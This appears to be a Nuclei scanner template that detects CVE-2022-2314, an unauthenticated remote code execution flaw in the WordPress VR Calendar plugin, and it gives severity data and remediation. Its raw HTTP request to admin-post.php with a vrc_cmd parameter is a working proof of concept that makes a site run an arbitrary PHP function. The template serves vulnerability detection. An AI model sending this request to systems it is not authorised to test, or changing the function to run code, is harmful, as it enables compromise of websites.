id: CVE-2022-2314

info:
  name: WordPress VR Calendar <=2.3.2 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress VR Calendar plugin through 2.3.2 is susceptible to remote code execution. The plugin allows any user to execute arbitrary PHP functions on the site. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update the WordPress VR Calendar plugin to version 2.3.3 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/b22fe77c-844e-4c24-8023-014441cc1e82
    - https://wordpress.org/plugins/vr-calendar-sync/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2314
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2314
    cwe-id: CWE-78,NVD-CWE-noinfo
    epss-score: 0.12442
    epss-percentile: 0.95695
    cpe: cpe:2.3:a:vr_calendar_project:vr_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vr_calendar_project
    product: vr_calendar
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wp-plugin,rce,vr-calendar-sync,unauth,wpscan,vr_calendar_project,vkev,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "phpinfo"
          - "PHP Version"
        condition: and

      - type: word
        part: body_1
        words:
          - "vrc-calendar"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100977eab71b2d3fc388b5673b54475abe50abc905257eb34fac0885048d9335bef022028addbf8f366830b41bba8679cdc82301da57682362fa88c0a0297a35bea0e67:922c64590222798bb761d5b6d8e72950